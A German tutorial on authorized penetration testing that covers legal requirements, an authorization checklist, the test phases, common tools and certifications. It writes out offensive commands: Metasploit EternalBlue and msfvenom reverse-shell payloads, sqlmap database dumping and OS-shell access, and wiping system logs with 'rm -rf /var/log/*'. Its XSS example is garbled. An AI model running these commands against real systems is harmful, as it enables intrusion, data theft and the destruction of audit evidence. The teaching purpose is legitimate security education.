Penetrationstesting Grundlagen Ethical Hacking
Penetrationstesting Grundlagen – Ethical Hacking Einführung
Penetrationstesting (Pentesting) ist eine autorisierte Sicherheitsprüfung, bei der Sicherheitsfachleute gezielt die Sicherheitsmaßnahmen einer Organisation testen, um Schwachstellen zu identifizieren, bevor sie bösartige Akteure ausnutzen können. Im Gegensatz zu unbefugten Hackerangriffen ist Penetrationstesting legal, ethisch und mit expliziter Genehmigung durchgeführt.
Legale Grundlagen für Penetrationstesting
Rechtlicher Rahmen in Deutschland
Strafgesetzbuch (StGB):
- §202a StGB (Ausspähen von Daten): Unbefugte Beschaffung von Daten ist strafbar. Eine explizite schriftliche Genehmigung ist erforderlich.
- §202b StGB (Abfangen von Daten): Das Abfangen von Kommunikation ohne Genehmigung.
- §202c StGB (Vorbereitung der Straftaten): Auch die Vorbereitung unbefugten Hackings ist strafbar.
- §263a StGB (Computerbetrug): Missbräuchliche Systemnutzung.
Checkliste für legale Pentests
| Anforderung | Status | Anmerkung |
|---|---|---|
| Schriftliche Genehmigung vorhanden | ☐ | Von Entscheidungsträger oder IT-Leiter unterzeichnet |
| Zeitrahmen definiert | ☐ | Start- und Enddatum genau festgehalten |
| Test-Scope festgelegt | ☐ | Welche Systeme/IPs sind inbegriffen? |
| Ausnahmen dokumentiert | ☐ | Was ist NICHT Bestandteil des Tests? |
| Kontaktperson für Notfälle | ☐ | Ansprechpartner falls kritische Systeme ausfallen |
| NDAs und Vertraulichkeit | ☐ | Geheimhaltungsvereinbarung unterzeichnet |
| Notfall-Kill-Switch vereinbart | ☐ | Abbruch-Kriterium falls Schäden drohen |
| Testmethoden definiert | ☐ | Active vs. Passive Tests erlaubt? |
Phasen des Penetrationstestings
Phase 1: Reconnaissance (Aufklärung)
Ziel: Informationen über das Ziel sammeln, ohne dabei erkannt zu werden (Passive Reconnaissance).
Passive Methoden:
- DNS-Lookups durchführen
- WHOIS-Informationen abrufen
- Subdomains finden (censys, crt.sh)
- Öffentliche Git-Repositories (GitHub, GitLab) nach hardcodierten Secrets durchsuchen
- Social Media und öffentliche Informationen sammeln
- DNS-Server Versionen prüfen
- Robots.txt und sitemap.xml analysieren
Praktische Befehle:
# DNS-Informationen abrufen dig example.com @8.8.8.8 dig example.com +trace # Kompletter Lookup-Pfad # WHOIS-Daten whois example.com # Subdomains enumeration # Tool: subfinder (https://github.com/projectdiscovery/subfinder) subfinder -d example.com -all # DNS Brute-Force # Tool: dnsenum dnsenum example.com # Öffentliche Archive durchsuchen # Wayback Machine API curl "https://archive.org/wayback/available?url=example.com&output=json" | jq # Suchen nach exposed credentials/API keys # Tool: truffleHog trufflehog filesystem /path/to/repo --json
Phase 2: Scanning & Enumeration
Ziel: Aktive Abtastung der Infrastruktur, um offene Ports, Services und Versionen zu identifizieren.
Nmap – Das Standard-Scanning-Tool:
#!/bin/bash # Basis-Port-Scan (Top 1000 Ports) nmap -sV -sC -O example.com # Alle Ports scannen (0-65535) nmap -p- example.com # Schneller Scan mit Service-Versionen nmap -sV --script=banner example.com # UDP Scanning (weniger häufig, aber wichtig) nmap -sU example.com # OS-Detektion und Firewall-Umgehung nmap -O --osscan-guess example.com # Aggressive Scan (Vorsicht: sehr laut!) nmap -A -T4 example.com # Stealthy Scan (langsam, um IDS zu umgehen) nmap -sS -T2 example.com # Ausgabe in verschiedenen Formaten nmap -sV example.com -oN results.txt nmap -sV example.com -oX results.xml nmap -sV example.com -oG results.gnmap # Service-spezifisches Scanning nmap --script http-* example.com # Alle HTTP-Scripts nmap --script smb-* example.com # Alle SMB-Scripts nmap --script ssl-enum-ciphers -p 443 example.com # SSL/TLS Ciphers
Phase 3: Vulnerability Assessment
Ziel: Identifizierung bekannter Schwachstellen und Fehlkonfigurationen.
Web-Application Scanning mit Nikto:
#!/bin/bash # Nikto – Web Server Scanner # Basis-Scan nikto -h example.com # Mit spezifischem Port nikto -h example.com -p 8080 # SSL/TLS überprüfen nikto -h example.com -ssl # Ausgabe in verschiedenen Formaten nikto -h example.com -o report.html -Format html # Aggressive Scan (längerer Scan mit mehr Tests) nikto -h example.com -Tuning 9 # Spezifische Plugins nutzen nikto -h example.com -Plugins "Finger, ShellShock"
Web-Applikation Testing mit Burp Suite (kostenlos Community Edition):
# Burp Suite starten java -jar burpsuite_community.jar & # Schritt-für-Schritt: # 1. Proxy konfigurieren: 127.0.0.1:8080 # 2. Browser-Proxy einrichten # 3. Website durchklicken (Passive Scanning läuft) # 4. Active Scanner starten # 5. Vulnerabilities reviewen
Phase 4: Exploitation (Ausnutzung)
Ziel: Beweis der Auswirkungen durch tatsächliche Ausnutzung (nur mit Genehmigung!).
Metasploit Framework – Die universelle Exploitation-Plattform:
#!/bin/bash # Metasploit starten msfconsole # Häufige Kommandos in msfconsole: search apache # Module durchsuchen use exploit/windows/smb/ms17_010_eternalblue set RHOST 192.168.1.100 set LHOST 192.168.1.50 set LPORT 4444 run # Shellcode generieren msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o payload.exe msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o payload.elf
SQL Injection – Praktisches Beispiel (auf autorisierter Zielseite):
#!/bin/bash # sqlmap – SQL Injection Automation Tool # Basis-Scan sqlmap -u "http://example.com/page.php?id=1" --dbs # POST-Parameter testen sqlmap -u "http://example.com/login.php" --data="username=admin&password=test" --dbs # Datenbankinhalt dumpen sqlmap -u "http://example.com/page.php?id=1" -D users -T admins --dump # OS-Shell besorgen (wenn möglich) sqlmap -u "http://example.com/page.php?id=1" --os-shell # Aggresivere Techniken verwenden sqlmap -u "http://example.com/page.php?id=1" --technique=BEUSTQ --risk=3
XSS (Cross-Site Scripting) Testen:
# XSS-Payloads in Eingabefelder testen: ">![]()
Phase 5: Post-Exploitation & Reporting
Ziel: Durchgesickerte Daten sichern, Access erhalten und dokumentieren, dann aufräumen.
Befunde dokumentieren:
- Eindeutige Vulnerability ID
- CVSS Score (Severity)
- Detaillierte Beschreibung der Schwachstelle
- Proof-of-Concept (Code/Screenshots)
- Geschäftliche Auswirkungen
- Remediations-Empfehlungen
- Priorität (Critical, High, Medium, Low)
Aufräumen nach dem Test:
#!/bin/bash # Logs löschen/zurücksetzen (wenn mit Genehmigung) # Diese Befehle sollten nur durchgeführt werden, wenn vertraglich vereinbart # Linux Logs zurücksetzen sudo rm -rf /var/log/* sudo journalctl --vacuum=time=1d # Web Server Logs sudo rm -rf /var/www/html/access_log* # Rückwärts-Shell beenden # In Meterpreter: exit # In SSH Session: exit oder Ctrl+C # Hinterlassene Dateien löschen rm -rf /tmp/.test-payload rm -rf ~/.ssh/authorized_keys_backup
Häufig verwendete Pentesting Tools
| Tool | Zweck | Installation (Kali Linux) |
|---|---|---|
| Nmap | Port Scanning & Service Enumeration | sudo apt install nmap |
| Metasploit Framework | Exploitation Platform | sudo apt install metasploit-framework |
| Burp Suite | Web Application Penetration Testing | sudo apt install burpsuite |
| Nikto | Web Server Vulnerability Scanning | sudo apt install nikto |
| SQLmap | SQL Injection Detection & Exploitation | sudo apt install sqlmap |
| Hydra | Brute Force Credential Testing | sudo apt install hydra |
| John the Ripper | Password Cracking | sudo apt install john |
| Wireshark | Network Traffic Analysis | sudo apt install wireshark |
| OpenSSL | SSL/TLS Testing & Certificate Analysis | sudo apt install openssl |
| Hashcat | GPU-Powered Password Cracking | sudo apt install hashcat |
Arten von Penetrationstests
Black Box Testing
Der Tester hat keine Prior-Kenntnisse über das System. Dies simuliert einen echten externen Hacker-Angriff.
- Realistische Szenario-Simulation
- Zeitaufwendiger (mehr Aufklärung nötig)
- Höhere Kosten
White Box Testing
Der Tester hat vollständigen Zugriff auf Systemdokumentation, Quellcode und Infrastruktur.
- Sehr gründliche Analyse
- Schneller Prozess
- Ideal für Code-Audits
Grey Box Testing
Der Tester hat teilweise Kenntnisse (z.B. Anmeldedaten für eine Low-Privilege-Account).
- Balance zwischen Black und White Box
- Realistische interne Threat-Szenarien
- Beste Praxis für die meisten Organisationen
Beispiel: Einfacher Penetrationstest durchführen
Szenario: Sie haben autorisierte Berechtigung zum Testen von example.com.
#!/bin/bash # Kompletter Penetrationstest-Workflow TARGET="example.com" RPORT="80" echo "[+] Starting Penetration Test on $TARGET" # Phase 1: Reconnaissance echo "[*] Phase 1: Reconnaissance" dig $TARGET whois $TARGET # Phase 2: Scanning echo "[*] Phase 2: Network Scanning" nmap -sV -sC -O -p- $TARGET > nmap_results.txt # Phase 3: Vulnerability Assessment echo "[*] Phase 3: Vulnerability Assessment" nikto -h $TARGET -p $RPORT -o nikto_report.html -Format html # Phase 4: Web App Testing (with Burp Suite) echo "[*] Phase 4: Web Application Testing" echo "Please start Burp Suite and perform active scanning manually" # Phase 5: Documentation echo "[*] Phase 5: Documenting Findings" echo "Create report with findings, CVSS scores, and remediation steps" echo "[+] Pentesting Complete. Review results and create report."
Ethical Hacking Zertifikationen
- CEH (Certified Ethical Hacker): Weltweit anerkannte Zertifizierung von EC-Council
- OSCP (Offensive Security Certified Professional): Praktische Hands-On Zertifizierung, sehr respektiert
- GPEN (GIAC Penetration Tester): Von GIAC/SANS, fokussiert auf praktische Fähigkeiten
- eJPT (eLearnSecurity Junior Penetration Tester): Anfänger-freundlich, kostengünstig
Verwandte Artikel
- 📖 Nmap Netzwerk-Scanning – Komplettes Tutorial
- 📖 Linux Server absichern – Sicherheits-Hardening
- 📖 OWASP Top 10 – Die kritischsten Web-Sicherheitslücken
- 🔧 Enjyn Crawler – Website auf Sicherheit prüfen
- 🔧 Sichere Server bei Enjyn mieten